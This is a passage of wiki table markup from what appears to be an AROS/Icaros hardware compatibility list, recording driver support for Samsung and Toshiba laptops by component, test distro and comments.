| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;[http://www.notebookcheck.net/Review-Samsung-305U1A-A01DE-Subnotebook.68246.0.html Series 3 Samsung 305u1a] || &lt;!--Chipset--&gt;AMD Zacate E350 or E450 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;AMD Radeon 6320 || &lt;!--Audio--&gt;ALC ACL 269 || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Realtek 8111 8169 || &lt;!--Wireless--&gt;Broadcom 4313 || &lt;!--Comments--&gt;2011 64bit 
|-
| &lt;!--Name--&gt;NP-RV415 NP-RV515 || &lt;!--Chipset--&gt;E350 or E450 plus A50M chipset || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;AMD Radeon HD 6470 || &lt;!--Audio--&gt;HD Audio Realtek || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{unk|RTL8169 Realtek RTL8111 8168B}} || &lt;!--Wireless--&gt;{{unk|Atheros AR9285}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2012 64bit slow -  
|-
| &lt;!--Name--&gt;Series 5 NP535U3C || &lt;!--Chipset--&gt;A6-4455M || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;2.5in || &lt;!--Gfx--&gt;radeon || &lt;!--Audio--&gt;HDAudio || &lt;!--USB--&gt;USB2 || &lt;!--Ethernet--&gt;Realtek GbE || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2012 64bit slow - 13.3in 1368 x 768 - plastic build - 65w 19v psu - 
|-
| &lt;!--Name--&gt;series 3 NP355V5C || &lt;!--Chipset--&gt;A6-4400M, A8-4500M, A10-4600M || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;2.5in || &lt;!--Gfx--&gt;7640M || &lt;!--Audio--&gt;HDAudio || &lt;!--USB--&gt;USB2 || &lt;!--Ethernet--&gt;Realtek GbE || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2012 64bit - 15.4in 1368 x 768 - plastic build - 65w 19v psu - 
|-
| &lt;!--Name--&gt;Samsung ATIV Book 9 Lite NP905S3G || &lt;!--Chipset--&gt;AMD A6-1450 quad 1GHz Temash atom like || &lt;!--IDE--&gt; || &lt;!--SATA--&gt;128gb || &lt;!--Gfx--&gt;AMD 8250 || &lt;!--Audio--&gt;HD Audio || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{Maybe|Realtek rtl8169 but only with mini LAN AA-AE2N12B Ethernet Adapter RJ45 dongle}} || &lt;!--Wireless--&gt;{{unk|Atheros AR9565}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2014 64bit - 13.3 TN glossy 1366 x 768 200nits 60% srgb - plastic case - 26W battery built in with 4hr life - 19V 2.1A 3.0*1.0mm psu - 1 ddr3l slot max 4gb - 720p webcam - mini hdmi out - 1w speakers - 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
|}


====Toshiba====

[[#top|...to the top]]

Order of Build Quality (Lowest to highest) 
&lt;pre &gt;
Equium 
Satellite (Pro) 
Libretto 
Portege
Tecra
&lt;/pre &gt;

{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;10%&quot; |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;5%&quot; |Ethernet
! width=&quot;10%&quot; |Wireless 
! width=&quot;5%&quot; |Test Distro
! width=&quot;20%&quot; |Comments
|-
| Tecra 8100 8200 9000 || 440BX || {{yes|IDE}} || {{N/A}} || {{maybe|S3 Savage MX 3D (VESA only)}} || {{no|Yamaha DS-XG ymf744 ymf-754}} || {{yes|USB1.1 only}} || {{N/A}} || {{N/A}} || Icaros 1.5 || little support 
|-
| &lt;!--Name--&gt;Tecra 9100 || &lt;!--Chipset--&gt;810 || &lt;!--IDE--&gt;{{Yes}} || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{maybe|S3 Savage IX}} || &lt;!--Audio--&gt;{{no|ymf754}} || &lt;!--USB--&gt;USB 1.1 || &lt;!--Ethernet--&gt;eeee pro100 || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;PSU Adapter For Toshiba Tecra 9000 9100 A1 A10 A11 A3 A3X A4 A5 A7 M1 M2 M3 M4 M5 M7 M9 R10 S1 series 75 Watt 15V 5A
|-
| [http://tuxmobil.org/toshiba_sp4600.html Satellite Pro 4600] || i810 || IDE || {{N/A}} || {{maybe|Trident Cyber Blade XP (VESA only)}} || {{no|YAMAHA DS-XG AC97 ymf754}} || {{yes|USB}} || {{yes|Intel e100}} || {{no|Agere (internal PCMCIA)}} || || little support 
|-
| Satellite 2805 S603 || Intel 815 || {{yes|IDE}} || {{N/A}} || {{maybe|nVidia GeForce2 Go}} || {{no|Yamaha Corp YMF 754}} || {{yes|USB}} || {{yes|Intel PRO/100}} || {{dunno}} || || little support
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;Satellite A10 S167 S1291 - A15 A20 A25 || &lt;!--Chipset--&gt;P4M || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Intel 852GM or Radeon || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;RTL 8139 || &lt;!--Wireless--&gt;{{Maybe|Intel 2100, Agere or Atheros PA3399U 1MPC minipci}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;a few models came with antenna leads 
|-
| Satellite [http://eu.computers.toshiba-europe.com/innovation/jsp/SUPPORTSECTION/discontinuedProductPage.do?service=EU&amp;com.broadvision.session.new=Yes&amp;PRODUCT_ID=76230 A30-714] || P4-M / 82845 i845 || {{yes|82801}} || {{N/A}} || {{maybe|VESA}} || {{yes|AC97}} || {{yes}} || {{yes|RTL8139}} || {{N/A}} || Icaros 1.2.4 || nice laptop, drawbacks: heavy, really hot (P4-3.06 GHz!!) - A30 (EU) A33 (Australian) A35 (USA) - 
|-
| &lt;!--Name--&gt;Satellite A40 A45 || &lt;!--Chipset--&gt;P4M or Celeron M with Intel 845 865 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Intel 852GME or Radeon 7000 Mobility || &lt;!--Audio--&gt;AC97 Realtek || &lt;!--USB--&gt;USB2.0 || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt;Atheros 5002G 5004G - PA3299U mini pci || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2003 32bit - A40 S161 A40-S1611 A40-2701, A45-S120 A45-S1201 S130 S1301 S1501  - 
|-
| &lt;!--Name--&gt;Satellite a50 A55 a60-s156 Equium A60 PSA67E A65 || &lt;!--Chipset--&gt;P4M or Celeron M with Intel 845 865 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Intel 852GME or Radeon 7000 Mobility || &lt;!--Audio--&gt;AC97 Realtek || &lt;!--USB--&gt;USB2.0 || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt;Atheros 5002G 5004G - PA3299U mini-pci || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2003 32bit - 
|-
| &lt;!--Name--&gt;Satellite A70 A75-S206 A80 A85-S107 || &lt;!--Chipset--&gt;P4M or Celeron-M with Intel 845 865 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Intel 852GME or Radeon 7000 Mobility || &lt;!--Audio--&gt;AC97 Realtek || &lt;!--USB--&gt;USB2.0 || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt;Atheros 5002G 5004G - PA3299U mini-pci || &lt;!--Test Distro--&gt;Icaros 1.5.1 || &lt;!--Comments--&gt;2003 32bit - 
|-
| Toshiba Satellite Pro M30 || intel 855 || {{yes|boots with ATA=nodma option}} || {{N/A}} || {{maybe|VESA}} || {{yes|AC97}} || {{yes|USB2.0}} || {{yes|Intel PRO/100 VE}} || {{dunno}} || Icaros 1.5 || nice laptop with some support 
|-
| &lt;!--Name--&gt;Portege M300 - M200 tablet || &lt;!--Chipset--&gt;855GM with 1.2GHz Pentium M 753 || &lt;!--IDE--&gt;{{yes}} || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{maybe|VESA 2d only - tablet with nvidia 5200 go}} || &lt;!--Audio--&gt;{{no|AC97 STAC 9750}} || &lt;!--USB--&gt;{{yes}} || &lt;!--Ethernet--&gt;{{yes|Intel PRO 100}} || &lt;!--Wireless--&gt;{{no|Intel PRO Wireless 2200BG}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;little support 
|-
| &lt;!--Name--&gt;Tecra M2 M2-S || &lt;!--Chipset--&gt;Intel 855P Pentium-M || &lt;!--IDE--&gt; || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;nvidia fx go5200 32mb or 64mb agp || &lt;!--Audio--&gt;AC97 1981B || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt;Intel Pro || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2003 32bit - PSU 15V 5A - 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;Satellite Pro L20 267 (PSL2YE PSL2XE) PSL25E L30 || &lt;!--Chipset--&gt;Celeron M 370 1.4 1.5GHz, 1.73Ghz with RC410M SB400 || &lt;!--IDE--&gt;{{N/A| }} || &lt;!--SATA--&gt;{{yes|IDE mode}} || &lt;!--Gfx--&gt;{{Maybe|use VESA - Ati x200}} || &lt;!--Audio--&gt;{{No|[https://forums.gentoo.org/viewtopic-t-490297-start-0.html ALC861]}} || &lt;!--USB--&gt;{{Maybe|Boots usb sticks}} || &lt;!--Ethernet--&gt;{{yes|rtl8139 Realtek 8139}} || &lt;!--Wireless--&gt;{{No|Atheros mini-pci should work maybe not working with ATi chipset or need to swap??}} || &lt;!--Test Distro--&gt;2016 Icaros 2.1.1 || &lt;!--Comments--&gt;2004 32bit 14&quot; pioneer dvd-rw - 19v 
|-
| &lt;!--Name--&gt;Satellite L30 PSL30E L33 PSL33E || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Intel 800 or ATi RC410 x200 || &lt;!--Audio--&gt;AC97 AD1981B or HD Audio ALC861 || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;realtek 8139 || &lt;!--Wireless--&gt;Atheros or Intel || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;L30 PSL30L 101 PSL33E 113 115 134 00M019 - 
|-
| Satellite Pro M40 313 psm44e || AMD with Ati || {{yes|boots with ATA=nodma}} || {{N/A}} || {{maybe|VESA}} || {{yes|AC97}} || {{yes|USB2.0}} || {{yes|}} || {{maybe|atheros askey ar5bmb5 mini pci}} || || 2005 32bit - nice laptop with some support 
|-
| &lt;!--Name--&gt;Satellite L40 PSL40E PSL40L, PSL43E || &lt;!--Chipset--&gt;945GM with  U7700 1.3GHz ULV || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Intel 945 || &lt;!--Audio--&gt;{{No|Intel HD with AD1986A codec}} || &lt;!--USB--&gt;2 USB2.0 || &lt;!--Ethernet--&gt;realtek 8139 || &lt;!--Wireless--&gt;Atheros AR24xx Askey || &lt;!--Test Distro--&gt;Icaros 2.0.3 || &lt;!--Comments--&gt;2006 32bit only -  - 12X 13G 139 14B 143 15J 19O  - 
|-
| &lt;!--Name--&gt;Satellite L45 PSL40U S7409 S2416 || &lt;!--Chipset--&gt;945GM with Celeron M 440 1.86 GHz || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Intel 945 || &lt;!--Audio--&gt;{{No|Intel HD with AD1986A codec}} || &lt;!--USB--&gt;2 USB2.0 || &lt;!--Ethernet--&gt;realtek 8139 || &lt;!--Wireless--&gt;Atheros AR24xx Askey || &lt;!--Test Distro--&gt;Icaros 2.0.3 || &lt;!--Comments--&gt;2006 32bit only - 
|-
| &lt;!--Name--&gt;Satellite Pro A100 || &lt;!--Chipset--&gt;940G || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Nvidia G72M Quadro NVS 110M GeForce Go 7300 / Ati (PSAA3E)|| &lt;!--Audio--&gt;HD Audio with ALC861 codec || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Intel 100 || &lt;!--Wireless--&gt;Intel 3945 swap with atheros || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;Satellite A110 159 (PSAB0), Equium A110 (PSAB2E), Satellite A110 233 (PSAB6),  || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt;ALC861 || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Realtek 8136 || &lt;!--Wireless--&gt;Atheros || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;Satellite Pro A120 PSAC0 PSAC1 PSAC1E || &lt;!--Chipset--&gt;Core Solo GMA 950 to T2300 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;GMA 945 || &lt;!--Audio--&gt;ALC262 or AC97 AD1981B || &lt;!--USB--&gt;UHCI EHCI  || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt;Atheros Ar5001 or Intel or Broadcom || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;15V 4A charger - 
|-
| &lt;!--Name--&gt;Satellite Pro A120 || &lt;!--Chipset--&gt;Core Duo ATi RS480 + SB450 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;use VESA - ATI RC410 Radeon Xpress 200M || &lt;!--Audio--&gt;ALC262 || &lt;!--USB--&gt;OCHI UHCI || &lt;!--Ethernet--&gt;RTL 8139 || &lt;!--Wireless--&gt;Intel 3945 or Atheros Ar5001 || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;15v 5a proprietary charger needed 
|-
| &lt;!--Name--&gt;Satelite A130 PSAD6U || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Realtek 8101E || &lt;!--Wireless--&gt;Atheros or Intel || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;ST1311 s1311 ST1312 S2276 S2386  - 
|-
| &lt;!--Name--&gt;Satellite A135 S2686 (Compal LA 3391P) || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Realtek 8101E || &lt;!--Wireless--&gt;Atheros or Intel || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;S2246 S2346 S2256 S4477 S4666 S4827  - 
|-
| &lt;!--Name--&gt;Satellite A200 PSAE1E (Inventec MW10M) || &lt;!--Chipset--&gt;Pentium M with 945GM Express Celeron M 520 1.6Ghz or Pentium® Core Duo T2130 1.86 GHz || &lt;!--IDE--&gt; {{N/A}}|| &lt;!--SATA--&gt; {{Maybe|SATA}}|| &lt;!--Gfx--&gt; {{Yes|Intel GMA 950 (2D and 3D)}}|| &lt;!--Audio--&gt; {{Yes|HD Audio ALC862}}|| &lt;!--USB--&gt; {{Yes| }}|| &lt;!--Ethernet--&gt; {{yes|RTL8101E rtl8139}}|| &lt;!--Wireless--&gt; {{yes|Atheros 5000 - FN,F5 or FN,F8 or switch}} || &lt;!--Test Distro--&gt;2016 AspireOS 1.8 || &lt;!--Comments--&gt;2006 Excellent 32 bit support! - make sure that your WLAN card is enabled, do this using the hardware switch and FN+F8 key combination 
|-
| &lt;!--Name--&gt; A210, Satellite A215 AMD (Inventec 10A) S5808 || &lt;!--Chipset--&gt; Ati with SB690 || &lt;!--IDE--&gt; {{N/A}}|| &lt;!--SATA--&gt;{{Maybe|SATA}}|| &lt;!--Gfx--&gt;{{Maybe|use VESA HD2600 Mobility M76}} || &lt;!--Audio--&gt;HD Audio ALC268 || &lt;!--USB--&gt; {{Yes| }}|| &lt;!--Ethernet--&gt;{{yes|RTL8101E}}|| &lt;!--Wireless--&gt; {{yes|Atheros 5000}}|| &lt;!--Test Distro--&gt;2018 AspireOS 1.8 || &lt;!--Comments--&gt;A215-S7422 A215-S7472 A215-S4697 (USA) - 
|-
| &lt;!--Name--&gt; [http://www.amiga.org/forums/showthread.php?t=62036 A215 S4757] || &lt;!--Chipset--&gt; Ati X1200 with SB600 || &lt;!--IDE--&gt; {{N/A}}|| &lt;!--SATA--&gt;{{Maybe|SATA}}|| &lt;!--Gfx--&gt;{{Maybe}} || &lt;!--Audio--&gt;HD Audio || &lt;!--USB--&gt; {{Yes| }}|| &lt;!--Ethernet--&gt;{{yes|RTL8101E}}|| &lt;!--Wireless--&gt; {{yes|Atheros 5000}}|| &lt;!--Test Distro--&gt;2017 AspireOS 1.8 || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;Qosmio G30 (PQG31C-HD202E) || &lt;!--Chipset--&gt;945 with Duo T2500 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{yes| }} || &lt;!--Gfx--&gt;{{yes|Nouveau Nvidia Go 7600 2d and 3d}} || &lt;!--Audio--&gt;{{yes| }} || &lt;!--USB--&gt;{{yes| }} || &lt;!--Ethernet--&gt;{{no| }} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2006 32bit - 17&quot; UXGA 1920x1200, 
|-
| &lt;!--Name--&gt;Tecra A10 || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; {{N/A}} || &lt;!--SATA--&gt; {{Maybe|IDE mode}} || &lt;!--Gfx--&gt; {{Maybe|Intel GMA 4500M (2D)}} || &lt;!--Audio--&gt; {{Yes|HD Audio}} || &lt;!--USB--&gt; {{Yes|USB 2.0}} || &lt;!--Ethernet--&gt;{{No|Intel PRO 1000}} || &lt;!--Wireless--&gt;{{No|Intel WiFi Link 5100}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;64 bit possible 
|-
| &lt;!--Name--&gt;L35 - L40 PSL48E - L45 S7423 || &lt;!--Chipset--&gt;GL960 with Intel Celeron || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Maybe| }} || &lt;!--Gfx--&gt;{{Maybe|X3100 some 2D but software 3d tunnel 9 gearbox 4}} || &lt;!--Audio--&gt;{{Yes|HD Audio with ALC660 codec playback}} || &lt;!--USB--&gt;{{Yes| }} || &lt;!--Ethernet--&gt;{{Yes|REALTEK 8139}} || &lt;!--Wireless--&gt;{{No|Realtek 8187b replace with Atheros 5k}} || &lt;!--Test Distro--&gt;2017 Icaros 2.1.2 || &lt;!--Comments--&gt;1,73Ghz  M 520 or M 540 or Dual T2310 (1.46 GHz)  T2330 (1.6 GHz) - 14H 14N 15B 17H 17K 17R 17S 18Z - 
|-
| &lt;!--Name--&gt;Satellite a300 - inventec potomac 10s pt10s A300D 21H || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;ATI Mobility Radeon HD 3650 || &lt;!--Audio--&gt;HD Audio - Realtek || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Realtek 8102E || &lt;!--Wireless--&gt;Atheros 5005 || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;satellite L300D-224 PSLC8E PSLC9E, l305 (inventec ps10s) || &lt;!--Chipset--&gt;AMD M780 with Turion RM70 or QL-64 || &lt;!--IDE--&gt; {{yes|IDE}} || &lt;!--SATA--&gt; {{yes|SATA}} || &lt;!--Gfx--&gt; {{Maybe|use VESA for Radeon 3100}} || &lt;!--Audio--&gt;{{maybe|HD Audio with Realtek ALC268}} || &lt;!--USB--&gt; {{yes|USB 2.0}} || &lt;!--Ethernet--&gt; {{no|rtl8169 Realtek RTL8101E RTL8102E}} || &lt;!--Wireless--&gt;{{no|Atheros G XB63L or Intel or Realtek}} || &lt;!--Test Distro--&gt; Icaros Desktop Live 2.3 AROS One 2.3 || &lt;!--Comments--&gt; Wireless-handler crashing when using Atheros-Wireless-Card
|-
| &lt;!--Name--&gt;Satellite P300 (PSPC0C-01D01C) || &lt;!--Chipset--&gt;945GM with Intel Core 2 Duo T5750 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{yes| }} || &lt;!--Gfx--&gt;{{maybe| }} || &lt;!--Audio--&gt;{{No|  codec}} || &lt;!--USB--&gt;{{yes| }} || &lt;!--Ethernet--&gt;{{no| }} || &lt;!--Wireless--&gt;{{No| swap with Atheros 5k }} || &lt;!--Test Distro--&gt;AROS One 64bit || &lt;!--Comments--&gt;2007 
|-
| &lt;!--Name--&gt;satellite l300-1bw PSLBDE-005005AR, L300-148 PSLB0E, l300-20D PSLB8E-06Q007EN, l300-294 L300-23L PSLB9E || &lt;!--Chipset--&gt;Intel GM45 + PGA478 socket Celeron 900, Pentium T1600, T2390, T3400 (Socket P) to Core2 Duo T6400 T6670 || &lt;!--IDE--&gt; {{unk|IDE}} || &lt;!--SATA--&gt; {{unk|SATA}} || &lt;!--Gfx--&gt; {{Maybe|use VESA for Intel gma 4500M}} || &lt;!--Audio--&gt;{{maybe|HD Audio with Realtek ALC???}} || &lt;!--USB--&gt; {{unk|USB 2.0}} || &lt;!--Ethernet--&gt; {{unk|rtl8169 Realtek 810xE}} || &lt;!--Wireless--&gt;{{no|Intel or Realtek}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2009 64-bit  - new unfamiliar Bios called insyde H20 - 
|-
| &lt;!--Name--&gt;satellite l350d || &lt;!--Chipset--&gt;AMD Athlon (tm) X2 QL-60 + RS780M || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Radeon HD 3100 || &lt;!--Audio--&gt;HD Audio with Realtek  || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Realtek || &lt;!--Wireless--&gt;Realtek 8187b || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2009 64bit 
|-
| &lt;!--Name--&gt;Satellite L450 12 13 14 || &lt;!--Chipset--&gt;AMD Sempron, 2.1GHz with AMD RS780M || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Radeon HD 3200 (based on HD 2400) || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Realtek RTL8101E RTL8102E || &lt;!--Wireless--&gt;Realtek 8172 || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2009 64bit - 12X 13P 13X 14V PSLY6E00C006EN 
|-
| &lt;!--Name--&gt;Satellite Pro L450 (Compal LA-5821P) 179 || &lt;!--Chipset--&gt;intel celeron 900 2.20 Ghz no sse4.1 or avx || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;intel 4500m || &lt;!--Audio--&gt;HD Audio with  codec || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;RTL8101 /2 /6E PCI Express Gigabit || &lt;!--Wireless--&gt;RTL8191 SEvB || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2009 64bit - 39.6cm (15.6”) Toshiba TruBrite® HD TFT 16:9 768p 
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;Toshiba Satellite P775, P775-S7320 and P775-10K || &lt;!--Chipset--&gt;Intel Core i5 (2nd Gen) 2430M i7-2630QM || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Maybe| }} || &lt;!--Gfx--&gt;{{Maybe|Vesa 2D for Intel}} || &lt;!--Audio--&gt;{{maybe| }} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{no| }} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2011 17.3&quot; - 1600 x 900 (HD+) - 2 DDR3 sodimm max 16Gb - 
|-
|&lt;!--Name--&gt;Toshiba Satellite C660D-19X || &lt;!--Chipset--&gt;AMD E-300 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{maybe|Vesa 2D for ATi}} || &lt;!--Audio--&gt;{{no|HD Audio with Realtek codec}} || &lt;!--USB--&gt;{{no| }} || &lt;!--Ethernet--&gt;{{Maybe|r8169 rtl8101e}} || &lt;!--Wireless--&gt;{{no|Realtek RTL8188 8192ce rtl8192ce}}  || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2011 64bit - 
|-
| &lt;!--Name--&gt;L755D (E-350) L750D (E-450) || &lt;!--Chipset--&gt;AMD E350 E450 no sse4.1 or avx || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Radeon HD 6310 6320 || &lt;!--Audio--&gt;HDAudio conexant codec || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt;Realtek || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2012 64bit 
